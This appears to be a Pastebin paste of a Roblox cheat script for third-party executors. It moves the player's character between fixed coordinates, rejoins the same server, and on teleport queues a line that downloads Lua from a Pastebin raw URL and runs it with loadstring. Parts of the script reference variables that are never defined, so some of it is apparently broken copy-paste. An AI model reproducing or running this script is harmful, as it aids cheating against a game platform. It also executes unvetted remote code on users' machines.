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xanyy

y

Jan 20th, 2025 (edited)
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  1. queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport)
  2. local function tween(p1,p2,p3,t)
  3. local tpX,tpY,tpZ = tonumber(p1),tonumber(p2),tonumber(p3)
  4. local char = game.Players.LocalPlayer.Character
  5. if char and char:FindFirstChild("HumanoidRootPart") ~= nil then
  6. game:GetService("TweenService"):Create(char:FindFirstChild("HumanoidRootPart"), TweenInfo.new(t, Enum.EasingStyle.Linear), {CFrame = CFrame.new(tpX,tpY,tpZ)}):Play()
  7. end
  8. end
  9. local function go()
  10. local pos1=Vector3.new(81, 136, -558)
  11. local pos2=Vector3.new(-23, 138, -562)
  12.  
  13. repeat wait() until game.Players.LocalPlayer ~= nil
  14. tween(pos1.X,pos1.Y,pos1.Z,.1)
  15. wait(2)
  16. tween(pos2.X,pos2.Y,pos2.Z,1)
  17. wait(2)
  18. tween(pos1.X,pos1.Y,pos1.Z,1)
  19. wait(2)
  20. game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, game.Players.LocalPlayer)
  21. end
  22. go()
  23. Players.LocalPlayer.OnTeleport:Connect(function(State)
  24. if KeepInfYield and (not TeleportCheck) and queueteleport then
  25. TeleportCheck = true
  26. queueteleport("loadstring(game:HttpGet('https://pastebin.com/raw/1dE04w0q'))()")
  27. end
  28. end)
  29.  
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